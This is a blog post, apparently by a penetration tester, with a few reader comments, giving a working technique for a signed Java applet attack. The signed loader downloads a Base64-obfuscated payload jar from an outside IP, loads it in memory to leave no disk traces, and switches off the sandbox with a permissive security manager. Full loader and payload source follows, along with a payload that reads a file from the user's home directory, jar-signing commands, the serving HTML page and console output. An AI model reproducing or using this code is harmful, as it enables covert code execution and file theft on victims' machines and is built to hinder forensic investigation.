Java in-memory class loading

So, just when you think hypes don’t affect you, a new hype gets your attention. Lately Java has hit the news as one of the latest risks and it’s pretty well abused for exploitation. Luckily we all know that exploiting “bugs” is not the only way to abuse Java. You can also abuse the trust Java places in digitally signed code, I’ve blogged about this issue before. Nowadays metasploit/SET even has a ready to use module for it. If you are wondering what all this has to do, with in-memory class loading…well sometimes when executing a java attack you want to make it harder for someone to detect your payload and you also want to leave less traces behind. In terms of Java I think that class loading is the thing that comes the closest to traditional in-memory execution. So let’s get started on making it harder for an investigator to investigate.

Here is the lay-out of what we will be doing:

  1. Create a digitally signed Java class loader;
  2. Create the Java payload we want to load in-memory and obfuscate it;
  3. Test it.
  4. Conclusion and References

The fun part about all this, is the fact, that is has been around as long as digitally signing code for Java has been around. A lot of Java software out there uses class loading as a means of extending itself (plugins and such) and/or adding dynamic code functionality.

Creating a digitally signed Java loader

This loader is responsible for:

  1. Downloading the payload into memory;
  2. De-obfuscating it;
  3. Loading and running it.

The downloading into memory is easy, you can even do it in a few lines of java:


 u = new URL("http://192.168.195.132/applet/payload.jar");
 is = u.openStream();
 InputStream in = new DataInputStream(new BufferedInputStream(is));

For the sake of simplicity the de-obfuscation part is also easy if you stick to something like Base64 encoding/decoding:


 u = new URL("http://192.168.195.132/applet/payload.jar");
 is = u.openStream();
 InputStream in = new Base64.InputStream(new DataInputStream(new BufferedInputStream(is)),Base64.DECODE);

Like you can see it’s all still in memory, since we never write to disk anywhere. Now here comes the part where it gets a little bit tricky. Our encoded payload is a “.jar” file so we need to parse this in memory and extract the class file we want to load. Lucky for us all the libraries we need are already provided:


JarInputStream jis = new JarInputStream(in);
 JarEntry je = null;
 String jename = null;
 while((je = jis.getNextJarEntry()) != null){
 jename = je.getName();
 System.out.println("jar entry name: " + jename);
 if(jename.equalsIgnoreCase("LRF.class")){
 System.out.println("found the lrf class");
 System.out.println("size of class: " + je.getSize());
 classbytes = new byte[(int)je.getSize()];
 System.out.println("size of array: " + classbytes.length);
 jis.read(classbytes, 0, classbytes.length);
 }
 }
 jis.close();
 in.close();
 is.close();
// System.out.println(new String(classbytes));

Well like you are used with most of my POC blog postings, the code is a little bit messy. Here is what it does. The decoded InputStream is converted into a JarInputStream, which will help us parse the jar file. So ones we have a JarInputStream we go through the jar entries, which in this case is just one entry. Just to be sure, we check to see if the entry name matches the name of the class we want to load, this is not really necessary but ohwell I’m to lazy to remove my debug code. When we find the correct entry we get the size of the entry and read it entirely into a byte array. So now we have the payload we want to use in memory, decoded and ready to be abused. You might wonder why I  use a jar file and not just download an encoded class file directly. That’s because if you plan on future expansion of your payload you might be using several classes and a jar file is then a very convenient format to distribute it. Now that we have the raw class bytes we can start the process of loading and running it. To be able to load it we’ll need to create our own class loader:


/**
 *
 * @author DiabloHorn
 */

public class CCLoader extends ClassLoader {
 private Hashtable classes = new Hashtable();
 private byte[] classdata = null;

 public CCLoader(){
 super(CCLoader.class.getClassLoader());
 }

 public void setClassContent(byte[] data){
 classdata = new byte[data.length];
 System.arraycopy(data, 0, classdata, 0, data.length);
 }

 public Class loadClass(String name) throws ClassNotFoundException {
 return findClass(name);
 }

 public Class findClass(String name) throws ClassNotFoundException {
 Class result = null;
 try{
 result = defineClass(name,this.classdata,0,this.classdata.length,null);
 classes.put(name,result);
 return result;
 }catch(SecurityException se){
 result = super.loadClass(name, true);
 }
 catch(Exception e){
 System.out.println(e.toString());
 return null;
 }
 return result;
 }

}

In essence we define our own class loader and most importantly we let the parent class loader load known classes. That’s that little line of code in the SecurityException catch. If you don’t do that, you’ll get errors stating that it’s illegal to load java.lang.* objects. The second most important thing is that you’ll have to use this class loader from now on. So here is the last part of the code to load our previously downloaded and decoded payload and then run it:

CCLoader ccl = new CCLoader();
 ccl.setClassContent(classbytes);
 Class c = ccl.findClass("LRF");
 Object o = c.newInstance();

Like you can see we instantiate our own class loader, give it the raw bytes and then tell it to load our class. The run part well…it runs the code in the constructor of the payload because we instantiate the class. Any methods you want to call you’ll have to use reflection to call them. That was easy huh? WRONG!!!…, there is just one tiny detail which you must not forget, setting a new securitymanager which allows everything:


//http://java.sun.com/developer/onlineTraining/Security/Fundamentals/Security.html

//http://java.sun.com/developer/onlineTraining/Security/Fundamentals/magercises/SecurityManager/

//http://java.sun.com/developer/onlineTraining/Security/Fundamentals/magercises/SecurityManager/NullSecurityManager.java

System.setSecurityManager(new NullSecurityManager());

You must make sure you include that in your loader code BEFORE you start loading the class. Just to be sure it’s like the second line in my loader’s Init() method. You can grab the skeleton for the NullSecurityManager from the third link stated as a comment above. Make sure to read the contents of link one and two if you want to understand the underlying mechanism. Only thing left to do is digitally sign the jar file(which you need to create of course, using netbeans as an IDE it’s a breeze to create it). Here is a link explaining the whole signing process:

http://download.oracle.com/javase/1.5.0/docs/guide/plugin/developer_guide/rsa_signing.html

For the more intuitive people and those with little patience here are 3 quick commands:

keytool -genkey -keyalg rsa -alias jarkey
keytool -selfcert -alias jarkey
jarsigner <jar file> <keyname>

Now let’s take a look at the payload which is far less complicated.

Payload creation and obfuscation

This is rather straight forward and well it’s just an example payload which reads some document from your home directory.

/**
 *
 * @author DiabloHorn
 */
import java.io.*;
import java.lang.System.*;

public class LRF {
 private StringBuffer filecontent;
 private String userprofile;

 public LRF() {
 this.filecontent = new StringBuffer();
 this.userprofile = java.lang.System.getProperty("user.home");
 System.out.println("userprofile: " + userprofile);
 this.getfc();
 }

 public String getData(){
 return this.filecontent.toString();
 }

 private void getfc(){
 this.userprofile = this.userprofile.concat("\\Downloads\\").concat("secret.txt");
 System.out.println(this.userprofile);
 try {
 FileInputStream fstream = new FileInputStream(this.userprofile);
 DataInputStream in = new DataInputStream(fstream);
 BufferedReader br = new BufferedReader(new InputStreamReader(in));
 String strLine;
 while ((strLine = br.readLine()) != null) {
 this.filecontent.append(strLine);
 }
 in.close();
 } catch (Exception e) {
 System.err.println("Error: " + e.getMessage());
 }
 System.out.println(this.filecontent.toString());
 }
}

Just create a jar file with it. Now let’s obfuscate it with base64, openssl will do fine(we keep the jar extension for greater confusion):

openssl enc -base64 -in payload.jar -out payload.jar

Testing the whole thing

Any webserver will do. Place all the files in the webroot and it should look like this more or less:

loader.jar  == digitally signed
payload.jar == base64 obfuscated

Now just create the final page to serve the whole lot, I’ll just use an old fashioned HTML page:

<html>
<head><title>Applet Dynamic Loading Test</title></head>
<body>
Hi this will test if an applet can download a separate class file and/or code and load it to perform activities.<br/>
<APPLET ARCHIVE=”loader.jar” CODE=LoadFile.class WIDTH=140 HEIGHT=45></APPLET>
<br/>
</body>
</html>

Point your browser to the HTML file and you should see the following in your Java console(consult the options off your browser to see how you can enable it):

Are we signed?: C:\Users\somename
Set all mighty friendly securitymanager
jar entry name: LRF.class
found the lrf class
size of class: 1812
size of array: 1812
loading the class with custom loader
Instantiating class
userprofile: C:\Users\somename
C:\Users\somename\Downloads\secret.txt
if you can read this, then euhmmm congrats?

Conclusion and References

First of all my apologies for, the this time really, messy code and the mismatch between names in the example source code snippets and the article text. I’ll be posting a cleaned up and more generic version soon.

This example is not that hard to investigate but you can make it a lot harder to investigate using a variety of techniques. This was just a quick implementation of a midnight thought I had a few weeks ago and really wanted to see if it actually worked.

Last of all make sure u read up on the references provided below so you get a good understanding of what’s happening. These references made it really easy to create this custom loader. Fun fact, if I had found the first reference when starting this little journey I would not have written this blog entry. I found this reference just when I was rounding it all up and searching for some additional good references, guess what? That PDF file contains all (except some tiny security details) the information you need to know on how to create some interesting custom class loader, like most examples it loads classes which reside on disk. It does state the option I just wrote about for the reader to explore.

Anyhow hope this is useful to someone. I sure did learn a lot while creating it and it was a fun journey trying to piece everything together.

3 thoughts on “Java in-memory class loading”

  1. It’s been a while since I’ve done Java. My first idea would be to add the new class to the path somehow, since if it’s in the path it should be found by the other class. The other option would probably be to put everything into a single jar.

    These are just the first ideas that popped up in my head. Been ages though since I’ve played with this.

  2. If you have time, how would you load a dependency classes? For example if the loaded class contains only one method which shows a JOptionPane, the JOptionPane class needs to be there aswell.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.

%d bloggers like this: